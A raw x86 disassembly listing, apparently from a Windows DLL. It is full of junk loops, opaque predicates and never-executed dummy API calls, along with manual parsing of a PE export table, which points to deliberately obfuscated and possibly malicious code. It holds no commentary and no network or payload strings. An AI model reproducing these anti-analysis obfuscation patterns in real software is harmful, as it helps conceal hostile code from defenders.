mov dword [ebp - 0x820], 1
jmp 0x100446c4
and dword [ebp - 0x820], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xfd0]
cmp dword [ebp - 0x820], eax
jl 0x100446e5
mov dword [ebp - 0x828], 1
jmp 0x100446ec
and dword [ebp - 0x828], 0
mov eax, dword [ebp - 0x4c]
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xfd0]
imul ecx, dword [ebp - 0x828]
imul eax, ecx
test eax, eax
jne 0x10044717
xor eax, eax
jne 0x10044717
and dword [ebp - 0x830], 0
jmp 0x10044721
mov dword [ebp - 0x830], 1
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x830]
jl 0x1004473e
mov eax, 0xc0d1
test eax, eax
jne 0x1004473e
and dword [ebp - 0x838], 0
jmp 0x10044748
mov dword [ebp - 0x838], 1
mov eax, dword [ebp - 0x838]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0
jne 0x1004476b
xor eax, eax
inc eax
jne 0x1004476b
and dword [ebp - 0x840], 0
jmp 0x10044775
mov dword [ebp - 0x840], 1
mov eax, dword [ebp - 0x840]
mov dword [ebp - 0x1b4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xfd0]
cmp dword [ebp - 0x1b4], eax
jl 0x100447a2
mov dword [ebp - 0x848], 1
jmp 0x100447a9
and dword [ebp - 0x848], 0
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x848]
je 0x100447c9
cmp dword [ebp - 0x1b0], 0
je 0x100447c9
mov dword [ebp - 0x850], 1
jmp 0x100447d0
and dword [ebp - 0x850], 0
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x850]
je 0x100447e7
mov dword [ebp - 0x858], 1
jmp 0x100447ee
and dword [ebp - 0x858], 0
cmp dword [ebp - 0x858], 0xadf86095
jae 0x10044806
mov dword [ebp - 0x860], 1
jmp 0x1004480d
and dword [ebp - 0x860], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x860], eax
jg 0x10044824
mov dword [ebp - 0x868], 1
jmp 0x1004482b
and dword [ebp - 0x868], 0
cmp dword [ebp - 0x868], 0x38f7
jne 0x10044843
mov dword [ebp - 0x870], 1
jmp 0x1004484a
and dword [ebp - 0x870], 0
mov eax, dword [ebp - 0x870]
add eax, 5
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x17b8], eax
or eax, 0xffffffff
jne 0x1004487c
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xfd0], 0
jne 0x1004487c
and dword [ebp - 0x878], 0
jmp 0x10044886
mov dword [ebp - 0x878], 1
mov eax, dword [ebp - 0x878]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x4c], 0
jmp 0x100448a2
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 2
jg 0x10044c1c
mov byte [ebp - 0xfd], 0
movzx eax, byte [ebp - 0xfd]
test eax, eax
je 0x100448cc
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov dword [ebp - 0x1b0], 0
jmp 0x100448e5
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 2
jg 0x10044c17
mov dword [ebp - 0x888], 0x34d6
mov dword [ebp - 0x144c], 0x1000bb6c
cmp dword [ebp - 0x888], 0x3559
jle 0x100449f0
and dword [ebp - 0x330], 0
jmp 0x1004492c
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0x6da9
jge 0x100449f0
and dword [ebp - 0x338], 0
jmp 0x10044952
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0x3cd6
jge 0x100449eb
and dword [ebp - 0x340], 0
jmp 0x10044978
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0xebe
jge 0x100449e6
and dword [ebp - 0x348], 0
jmp 0x1004499a
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0x3f2c
jge 0x100449e4
mov eax, dword [ebp - 0x330]
imul eax, dword [ebp - 0x338]
and eax, dword [ebp - 0x340]
or eax, dword [ebp - 0x348]
cdq
mov dword [ebp - 0x11bc], eax
mov dword [ebp - 0x11b8], edx
push dword [ebp - 0x11b8]
push dword [ebp - 0x11bc]
mov ecx, 0x10094c18
call fcn.10026436
jmp 0x1004498d
jmp 0x1004496b
jmp 0x10044945
jmp 0x1004491f
mov dword [ebp - 0x128], 0
jmp 0x10044a09
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 2
jg 0x10044bf6
mov byte [ebp - 0x185], 0
movzx eax, byte [ebp - 0x185]
test eax, eax
je 0x10044a34
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
mov dword [ebp - 0x1b4], 0
jmp 0x10044a4d
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 2
jg 0x10044bf1
mov dword [ebp - 0x350], 0
mov dword [ebp - 0x350], 2
jmp 0x10044a7d
mov eax, dword [ebp - 0x350]
dec eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0
jl 0x10044bec
mov dword [ebp - 0x358], 0xfffffffc
mov dword [ebp - 0x358], 0
jmp 0x10044aad
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 2
jg 0x10044bd2
mov dword [ebp - 0x880], 0x23ee
mov dword [ebp - 0x11a8], 0x1000bb98
cmp dword [ebp - 0x880], 0x2499
jle 0x10044b95
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowLongA]
and dword [ebp - 0x360], 0
jmp 0x10044b00
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0x2ad7
jge 0x10044b95
and dword [ebp - 0x368], 0
jmp 0x10044b26
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0xf8
jge 0x10044b90
and dword [ebp - 0x370], 0
jmp 0x10044b48
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0x74e4
jge 0x10044b8e
mov eax, dword [ebp - 0x360]
cdq
idiv dword [ebp - 0x368]
and edx, dword [ebp - 0x370]
mov eax, edx
cdq
mov dword [ebp - 0x11c8], eax
mov dword [ebp - 0x11c4], edx
push dword [ebp - 0x11c4]
push dword [ebp - 0x11c8]
mov ecx, 0x10094c18
call fcn.10026436
jmp 0x10044b3b
jmp 0x10044b19
jmp 0x10044af3
mov byte [ebp - 0x18f], 0
cmp dword [ebp - 0x880], 0x2231
jge 0x10044bb8
mov edx, dword [ebp - 0x11a8]
mov ecx, 0x10094c18
call fcn.10029186
movzx eax, byte [ebp - 0x18f]
test eax, eax
je 0x10044bcd
push 0
push 0
call dword [sym.imp.USER32.dll_EnableWindow]
jmp 0x10044aa0
mov eax, dword [ebp - 0x128]
cmp dword [ebp + eax*4 - 0xfd0], 0
je 0x10044be7
jmp 0x10044a70
jmp 0x10044a70
jmp 0x10044a40
jmp 0x100449fc
cmp dword [ebp - 0x888], 0x347f
jge 0x10044c12
mov edx, dword [ebp - 0x144c]
mov ecx, 0x10094c18
call fcn.10029186
jmp 0x100448d8
jmp 0x1004489b
mov eax, dword [ebp - 0x220]
cmp dword [eax], 0x4550
jne 0x10049b60
mov eax, dword [ebp - 0x220]
cmp dword [eax + 0x74], 0
jbe 0x10049b60
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x220]
cmp dword [ecx + eax + 0x78], 0
je 0x10049b60
mov dword [ebp - 0x1bc], 0
mov dword [ebp - 0x378], 0
jmp 0x10044c78
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 3
jge 0x10044c94
mov eax, dword [ebp - 0x378]
mov dword [ebp + eax*4 - 0x1780], 1
jmp 0x10044c6b
mov dword [ebp - 0x1bc], 2
jmp 0x10044cad
mov eax, dword [ebp - 0x1bc]
dec eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jl 0x10044ce6
mov dword [ebp - 0x1944], 0x10094638
mov eax, dword [ebp - 0x1bc]
cmp dword [ebp + eax*4 - 0x1780], 0
je 0x10044cd2
jmp 0x10044ce6
mov eax, dword [ebp - 0x1bc]
cmp dword [ebp + eax*4 - 0x1780], 0
je 0x10044ce4
jmp 0x10044ca0
jmp 0x10044ca0
mov byte [ebp - 0x141], 0
mov dword [ebp - 0x890], 0x2d4d
mov dword [ebp - 0x11b4], 0x1000bbd0
cmp dword [ebp - 0x890], 0x2f05
jle 0x10044dfa
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
and dword [ebp - 0x390], 0
jmp 0x10044d33
mov eax, dword [ebp - 0x390]
inc eax
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 0x7b2b
jge 0x10044dfa
and dword [ebp - 0x380], 0
jmp 0x10044d59
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0x29ff
jge 0x10044df5
and dword [ebp - 0x388], 0
jmp 0x10044d7f
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 0x5af8
jge 0x10044df0
and dword [ebp - 0x398], 0
jmp 0x10044da1
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0x211d
jge 0x10044dee
mov ecx, dword [ebp - 0x380]
add ecx, dword [ebp - 0x388]
mov eax, dword [ebp - 0x390]
sar eax, cl
mov ecx, dword [ebp - 0x398]
sar eax, cl
cdq
mov dword [ebp - 0x11d4], eax
mov dword [ebp - 0x11d0], edx
push dword [ebp - 0x11d0]
push dword [ebp - 0x11d4]
mov ecx, 0x10094c18
call fcn.10026436
jmp 0x10044d94
jmp 0x10044d72
jmp 0x10044d4c
jmp 0x10044d26
movzx eax, byte [ebp - 0x141]
test eax, eax
je 0x10044e27
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateFontA]
cmp dword [ebp - 0x890], 0x2bec
jge 0x10044e43
mov edx, dword [ebp - 0x11b4]
mov ecx, 0x10094c18
call fcn.10029186
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1ec], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x220]
mov edx, dword [ebp - 0x1ec]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xf0], edx
mov dword [ebp - 0xa8], 0x8a61928c
mov dword [ebp - 0x6bc], 1
mov dword [ebp - 0xa8], 0
jmp 0x10044e95
mov eax, dword [ebp - 0xa8]
dec eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0xffffffe9
jne 0x10044fb1
mov dword [ebp - 0x8a8], 0xc662
mov dword [ebp - 0x3a0], 0
jmp 0x10044ec5
mov eax, dword [ebp - 0x3a0]
inc eax
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a0], 3
jge 0x10044ee1
mov eax, dword [ebp - 0x3a0]
mov dword [ebp + eax*4 - 0x19e8], 0
jmp 0x10044eb8
cmp dword [ebp - 0xa8], 0
jne 0x10044f96
cmp dword [ebp - 0x8a8], 0
jne 0x10044f96
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0xa8], eax
jle 0x10044f15
mov dword [ebp - 0x898], 1
jmp 0x10044f1c
and dword [ebp - 0x898], 0
mov eax, dword [ebp - 0xa8]
cmp eax, dword [ebp - 0x898]
jl 0x10044f36
mov dword [ebp - 0x8a0], 1
jmp 0x10044f3d
and dword [ebp - 0x8a0], 0
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0x8a0], eax
jle 0x10044f57
mov dword [ebp - 0x740], 1
jmp 0x10044f5e
and dword [ebp - 0x740], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x740]
mov dword [ebp + eax - 0x19e8], ecx
mov eax, dword [ebp - 0x740]
sub eax, 0xfecf
mov ecx, dword [ebp - 0x8a8]
sub ecx, eax
jne 0x10044f96
push 0xfffffffffffffff7
pop eax
test eax, eax
jne 0x10044f96
and dword [ebp - 0x8b0], 0
jmp 0x10044fa0
mov dword [ebp - 0x8b0], 1
mov eax, dword [ebp - 0x8b0]
mov dword [ebp - 0x6bc], eax
jmp 0x10044e88
mov dword [ebp - 0x8b8], 0x5360
mov dword [ebp - 0x139c], 0x1000bc14
cmp dword [ebp - 0x8b8], 0x5560
jle 0x10045094
and dword [ebp - 0x3a8], 0
jmp 0x10044feb
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0x147b
jge 0x10045080
and dword [ebp - 0x3b0], 0
jmp 0x10045011
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 0x17a2
jge 0x1004507b
and dword [ebp - 0x3b8], 0
jmp 0x10045033
mov eax, dword [ebp - 0x3b8]
inc eax
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 0xe23
jge 0x10045079
mov eax, dword [ebp - 0x3a8]
cdq
idiv dword [ebp - 0x3b0]
add edx, dword [ebp - 0x3b8]
mov eax, edx
cdq
mov dword [ebp - 0x11e0], eax
mov dword [ebp - 0x11dc], edx
push dword [ebp - 0x11dc]
push dword [ebp - 0x11e0]
mov ecx, 0x10094c18
call fcn.10026436
jmp 0x10045026
jmp 0x10045004
jmp 0x10044fde
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_RoundRect]
mov eax, dword [ebp - 0x6bc]
mov dword [ebp - 0x6bc], eax
cmp dword [ebp - 0x8b8], 0x5159
jge 0x100450bc
mov edx, dword [ebp - 0x139c]
mov ecx, 0x10094c18
call fcn.10029186
mov eax, 0xffff
mov word [ebp - 0x78], ax
mov dword [ebp - 0x8c0], 0x6ed8
mov dword [ebp - 0x14dc], 0x1000bc50
cmp dword [ebp - 0x8c0], 0x6f1e
jle 0x10045189
and dword [ebp - 0x2bc], 0
jmp 0x100450ff
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0x6140
jge 0x10045189
and dword [ebp - 0x2c0], 0
jmp 0x10045121
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0x1096
jge 0x10045184
mov eax, dword [ebp - 0x2bc]
sub eax, dword [ebp - 0x2c0]
cdq
mov dword [ebp - 0x11ec], eax
mov dword [ebp - 0x11e8], edx
push dword [ebp - 0x11e8]
push dword [ebp - 0x11ec]
lea ecx, [ebp - 0x1c44]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x11c0], eax
mov ecx, dword [ebp - 0x11c0]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1c44]
call fcn.1002640c
jmp 0x10045114
jmp 0x100450f2
push 3
lea ecx, [ebp - 0x16c0]
call fcn.10026750
mov dword [ebp - 4], 0x28
cmp dword [ebp - 0x8c0], 0x6df4
jge 0x100451b5
push dword [ebp - 0x14dc]
call fcn.10079103
pop ecx
mov dword [ebp - 0xb0], 0
jmp 0x100451ce
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jge 0x100451f0
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x16c0]
call fcn.100267ee
mov dword [eax], 0xdc85f70a
jmp 0x100451c1
mov dword [ebp - 0xb0], 0
jmp 0x10045209
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 1
jge 0x10045225
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0x22c], 9
jmp 0x100451fc
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x22c], 0
jmp 0x10045253
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x22c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x22c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x22c], 3
jge 0x10045283
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x22c]
lea ecx, [ebp - 0x16c0]
call fcn.100267ee
mov dword [eax], 0x9b546158
jmp 0x10045238
mov byte [ebp - 0x19e], 0
movzx eax, byte [ebp - 0x19e]
test eax, eax
je 0x100452a1
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetPixel]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x16c0]
call fcn.100267d2
or dword [ebp - 0x1e4], 0xffffffff
mov dword [ebp - 0x130], 0xac204e2d
mov dword [ebp - 0x3c0], 0
jmp 0x100452da
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 4
jge 0x100452f6
mov eax, dword [ebp - 0x3c0]
mov dword [ebp + eax*4 - 0x1ac8], 1
jmp 0x100452cd
mov dword [ebp - 0x130], 0
jmp 0x1004530f
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0xfffffffb
jne 0x10045334
mov byte [ebp - 0x149], 0
movzx eax, byte [ebp - 0x149]
test eax, eax
je 0x10045332
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
jmp 0x10045302
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x130], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x130]
mov dword [ebp + eax - 0x1ac8], ecx
cmp dword [ebp + 0x10], 0
jbe 0x100459c2
mov dword [ebp - 0x234], 0xffffffff
mov dword [ebp - 0x8d0], 0x80c170cd
mov dword [ebp - 0x3c8], 0
jmp 0x10045389
mov eax, dword [ebp - 0x3c8]
inc eax
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 1
jge 0x100453a5
mov eax, dword [ebp - 0x3c8]
mov dword [ebp + eax*4 - 0x8c8], 0xfffffffb
jmp 0x1004537c
mov dword [ebp - 0x234], 0
jmp 0x100453be
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0
jg 0x100453e1
mov eax, dword [ebp - 0x234]
mov eax, dword [ebp + eax*4 - 0x8c8]
add eax, 0x8c0a
mov dword [ebp - 0x8d0], eax
jmp 0x100453b1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8c8]
mov dword [ebp - 0x8d0], eax
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x100459bd
push 3
lea ecx, [ebp - 0xf1c]
call fcn.10026750
mov dword [ebp - 4], 0x29
mov dword [ebp - 0x1c4], 0xf69f7fd1
mov dword [ebp - 0x145c], 0xd464
mov dword [ebp - 0x3d0], 0
jmp 0x10045447
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 3
jge 0x10045469
push dword [ebp - 0x3d0]
lea ecx, [ebp - 0xf1c]
call fcn.100267ee
mov dword [eax], 0xcecb4571
jmp 0x1004543a
push 1
lea ecx, [ebp - 0xf1c]
call fcn.100267ee
mov ecx, dword [ebp - 0x1c4]
cmp dword [eax], ecx
jge 0x10045890
mov dword [ebp - 0x48], 0xfffffffb
mov dword [ebp - 0x8f0], 0xe889ec00
mov dword [ebp - 0x17c8], 0
mov dword [ebp - 0x3d8], 0
jmp 0x100454b8
mov eax, dword [ebp - 0x3d8]
inc eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 1
jge 0x100454d4
mov eax, dword [ebp - 0x3d8]
mov dword [ebp + eax*4 - 0x18f4], 0xffffffff
jmp 0x100454ab
mov dword [ebp - 0x1c4], 0x1d
jmp 0x100454ed
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x20
je 0x1004588e
mov dword [ebp - 0x710], 0x7e43
mov dword [ebp - 0x11e4], 0xd479ea40
mov dword [ebp - 0x17d8], 0
mov dword [ebp - 0x1984], 0x863e8712
mov dword [ebp - 0x17e8], 0x83a38c8a
mov dword [ebp - 0x940], 1
cmp dword [ebp - 0x710], 0
jne 0x10045551
cmp dword [ebp - 0x710], 0
jne 0x10045551
and dword [ebp - 0x11cc], 0
jmp 0x1004555b
mov dword [ebp - 0x11cc], 1
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x1c4], eax
jne 0x10045572
mov dword [ebp - 0x8d8], 1
jmp 0x10045579
and dword [ebp - 0x8d8], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x8d8], eax
jne 0x10045590
mov dword [ebp - 0x8e0], 1
jmp 0x10045597
and dword [ebp - 0x8e0], 0
push 0
lea ecx, [ebp - 0xf1c]
call fcn.100267ee
mov ecx, dword [ebp - 0x8e0]
cmp ecx, dword [eax]
jl 0x100455ba
mov dword [ebp - 0x8e8], 1
jmp 0x100455c1
and dword [ebp - 0x8e8], 0
mov eax, dword [ebp - 0x8e8]
mov dword [ebp - 0x8f0], eax
xor eax, eax
inc eax
sub eax, dword [ebp - 0x8f0]
jne 0x100455f3
push 1
lea ecx, [ebp - 0xf1c]
call fcn.100267ee
cmp dword [eax], 0
jne 0x100455f3
and dword [ebp - 0x8f8], 0
jmp 0x100455fd
mov dword [ebp - 0x8f8], 1
push 1
lea ecx, [ebp - 0xf1c]
call fcn.100267ee
mov ecx, dword [ebp - 0x8f8]
cmp ecx, dword [eax]
jg 0x10045620
mov dword [ebp - 0x13a4], 1
jmp 0x10045627
and dword [ebp - 0x13a4], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x18fc], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x17f8], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x194c], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov esi, dword [ebp - 0x48]
push 1
lea ecx, [ebp - 0xf1c]
call fcn.100267ee
mov dword [eax], esi
mov dword [ebp - 0x48], 0
jmp 0x1004566a
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xd
jge 0x10045889
mov dword [ebp - 0x918], 0x72b4
mov dword [ebp - 0x1808], 1
mov dword [ebp - 0x938], 0x1d72
mov dword [ebp - 0x13ac], 0x1000bcac
cmp dword [ebp - 0x938], 0x2132
jle 0x1004578d
and dword [ebp - 0x3e0], 0
jmp 0x100456c2
mov eax, dword [ebp - 0x3e0]
inc eax
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0x624d
jge 0x10045783
and dword [ebp - 0x3e8], 0
jmp 0x100456e8
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], 0x5259
jge 0x1004577e
and dword [ebp - 0x3f0], 0
jmp 0x1004570e
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 0x3916
jge 0x10045779
mov eax, dword [ebp - 0x3e0]
add eax, dword [ebp - 0x3e8]
mov ecx, dword [ebp - 0x3f0]
shl eax, cl
cdq
mov dword [ebp - 0x11f8], eax
mov dword [ebp - 0x11f4], edx
push dword [ebp - 0x11f4]
push dword [ebp - 0x11f8]
lea ecx, [ebp - 0x1c74]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x11d8], eax
mov ecx, dword [ebp - 0x11d8]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1c74]
call fcn.1002640c
jmp 0x10045701
jmp 0x100456db
jmp 0x100456b5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
cmp dword [ebp - 0x48], 0
jne 0x100457a5
cmp dword [ebp - 0x918], 0
jne 0x100457a5
and dword [ebp - 0x908], 0
jmp 0x100457af
mov dword [ebp - 0x908], 1
mov eax, dword [ebp - 0x145c]
mov dword [ebp - 0x900], eax
push 1
lea ecx, [ebp - 0xf1c]
call fcn.100267ee
mov ecx, dword [ebp - 0x900]
mov dword [eax], ecx
cmp dword [ebp - 0x900], 0
jbe 0x100457e5
mov dword [ebp - 0x910], 1
jmp 0x100457ec
and dword [ebp - 0x910], 0
mov eax, dword [ebp - 0x908]
sub eax, dword [ebp - 0x710]
cmp eax, dword [ebp - 0x910]
jl 0x1004580c
mov dword [ebp - 0x920], 1
jmp 0x10045813
and dword [ebp - 0x920], 0
mov eax, dword [ebp - 0x918]
cmp dword [ebp - 0x920], eax
jge 0x1004582d
mov dword [ebp - 0x928], 1
jmp 0x10045834
and dword [ebp - 0x928], 0
cmp dword [ebp - 0x928], 0xfff6
jne 0x1004584c
mov dword [ebp - 0x930], 1
jmp 0x10045853
and dword [ebp - 0x930], 0
mov eax, dword [ebp - 0x930]
mov dword [ebp - 0x11e4], eax
cmp dword [ebp - 0x938], 0x19fc
jge 0x10045877
push dword [ebp - 0x13ac]
call fcn.10079103
pop ecx
mov eax, dword [ebp - 0x940]
inc eax
mov dword [ebp - 0x940], eax
jmp 0x10045663
jmp 0x100454e0
jmp 0x100458ba
mov byte [ebp - 0x1a0], 0
movzx eax, byte [ebp - 0x1a0]
test eax, eax
je 0x100458ba
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DrawIconEx]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf1c]
call fcn.100267d2
mov dword [ebp - 0x948], 0x5af
mov dword [ebp - 0x11f0], 0x1000bce8
cmp dword [ebp - 0x948], 0x749
jle 0x10045999
and dword [ebp - 0x3f8], 0
jmp 0x10045903
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0x77fd
jge 0x10045999
and dword [ebp - 0x400], 0
jmp 0x10045929
mov eax, dword [ebp - 0x400]
inc eax
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 0x7d93
jge 0x10045994
and dword [ebp - 0x408], 0
jmp 0x1004594b
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0x7341
jge 0x10045992
mov eax, dword [ebp - 0x3f8]
mov ecx, dword [ebp - 0x400]
shl eax, cl
mov ecx, dword [ebp - 0x408]
shl eax, cl
cdq
mov dword [ebp - 0x1204], eax
mov dword [ebp - 0x1200], edx
push dword [ebp - 0x1200]
push dword [ebp - 0x1204]
mov ecx, 0x10094c18
call fcn.10026436
jmp 0x1004593e
jmp 0x1004591c
jmp 0x100458f6
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x78], ax
cmp dword [ebp - 0x948], 0x4c4
jge 0x100459bd
mov edx, dword [ebp - 0x11f0]
mov ecx, 0x10094c18
call fcn.10029186
jmp 0x10047c80
mov dword [ebp - 0x1904], 0x62fd
mov byte [ebp - 0x151], 0
movzx eax, byte [ebp - 0x151]
test eax, eax
je 0x100459ec
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_WinHelpA]
mov dword [ebp - 0x950], 0x7978
mov dword [ebp - 0x14a0], 0x1000bd3c
cmp dword [ebp - 0x950], 0x7cc7
jle 0x10045aff
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
and dword [ebp - 0x410], 0
jmp 0x10045a30
mov eax, dword [ebp - 0x410]
inc eax
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0x24d0
jge 0x10045af5
and dword [ebp - 0x418], 0
jmp 0x10045a56
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0x4292
jge 0x10045af0
and dword [ebp - 0x420], 0
jmp 0x10045a7c
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0x608a
jge 0x10045aeb
and dword [ebp - 0x428], 0
jmp 0x10045a9e
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 0x3316
jge 0x10045ae9
mov eax, dword [ebp - 0x410]
add eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 0x420]
xor ecx, dword [ebp - 0x428]
or eax, ecx
cdq
mov dword [ebp - 0x1210], eax
mov dword [ebp - 0x120c], edx
push dword [ebp - 0x120c]
push dword [ebp - 0x1210]
mov ecx, 0x10094c18
call fcn.10026436
jmp 0x10045a91
jmp 0x10045a6f
jmp 0x10045a49
jmp 0x10045a23
push 0
push 0
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov byte [ebp - 0x1a2], 0
movzx eax, byte [ebp - 0x1a2]
test eax, eax
je 0x10045b1f
push 0
push 0
push 0
push 0
